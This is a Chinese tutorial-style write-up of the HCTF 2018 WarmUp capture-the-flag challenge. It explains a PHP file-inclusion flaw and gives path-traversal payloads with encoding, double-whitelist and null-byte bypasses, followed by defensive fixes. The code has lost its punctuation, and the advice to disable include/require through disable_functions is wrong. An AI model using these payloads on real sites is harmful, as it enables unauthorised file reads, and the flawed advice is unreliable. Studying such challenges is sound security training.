新手也能看懂的PHP代码审计实战:从HCTF 2018 WarmUp靶场学文件包含漏洞
新手也能看懂的PHP代码审计实战从HCTF 2018 WarmUp靶场学文件包含漏洞1. 初识文件包含漏洞从一张图片开始第一次打开HCTF 2018的WarmUp靶场时映入眼帘的是一张憨态可掬的卡通图片。但作为安全爱好者我们更关心的是页面背后的秘密——这张图片实际上是一个精心设计的诱饵引导我们发现隐藏在source.php中的代码逻辑。文件包含漏洞的本质是程序动态加载文件时未严格校验路径。想象你让助手去档案室取文件只说把标着123的文件拿来却没规定他只能在本层架子上找——这就是危险的开始。PHP中常见的包含函数有include filename.php; // 包含失败会继续执行 require filename.php; // 包含失败会终止程序在WarmUp靶场中关键漏洞代码位于if (!empty($_REQUEST[file]) is_string($_REQUEST[file]) emmm::checkFile($_REQUEST[file])) { include $_REQUEST[file]; // 危险操作点 }2. 代码审计实战拆解emmm类的防御逻辑2.1 白名单机制的表面防护靶场代码使用emmm类进行安全检查核心是checkFile方法class emmm { public static function checkFile($page) { $whitelist [sourcesource.php, hinthint.php]; // ...检查逻辑... } }白名单看似安全但存在三个关键缺陷路径穿越未过滤未处理../等目录跳转符参数解析逻辑问题mb_substr截取方式可被绕过二次校验缺陷URL解码后的重复检查存在漏洞2.2 关键函数深度解析理解漏洞需要掌握三个PHP函数函数作用危险用法mb_substr截取字符串可能意外保留恶意参数mb_strpos查找字符位置与问号拼接可能被利用in_array检查数组包含严格模式未启用典型漏洞触发流程传入hint.php?/../../flagmb_strpos找到第一个?位置为8mb_substr截取前8字符得到hint.php白名单校验通过include实际加载hint.php?/../../flag3. 手把手构造攻击Payload3.1 基础利用方式最简单的测试payloadsource.php?filehint.php如果页面返回了hint内容说明包含功能正常。接下来尝试目录穿越source.php?filehint.php?/../../../../ffffllllaaaagggg为什么需要四个../典型Linux目录结构下/var/www/html/source.php # 靶场位置 /ffffllllaaaagggg # flag位置需要向上穿越四次html → wwwwww → varvar → /进入根目录3.2 高级绕过技巧如果基础payload被拦截可以尝试URL编码绕过source.php?filehint.php%3f/..%2f..%2f..%2f..%2ffffllllaaaagggg白名单双写source.php?filesource.php?/../../../../ffffllllaaaagggg空字节截断PHP5.3source.php?filehint.php%00../../flag4. 从攻击到防御安全开发实践4.1 修复方案对比方案实现方式优点缺点绝对路径校验realpath检查彻底防御穿越需配置白名单动态拼接固定前缀路径简单易实现仍可能被绕过文件哈希校验比对MD5值最高安全性维护成本高推荐修复代码function safeInclude($file) { $base_dir /var/www/html/; $real_path realpath($base_dir . $file); if (strpos($real_path, $base_dir) 0 file_exists($real_path)) { include $real_path; } else { die(Invalid file path); } }4.2 开发中的安全习惯禁用危险函数; php.ini配置 disable_functions include,require,include_once,require_once使用自动扫描工具# 使用PHPStan静态分析 composer require --dev phpstan/phpstan phpstan analyse src --level max持续学习资源OWASP文件包含漏洞指南PHP官方安全手册年度Web安全报告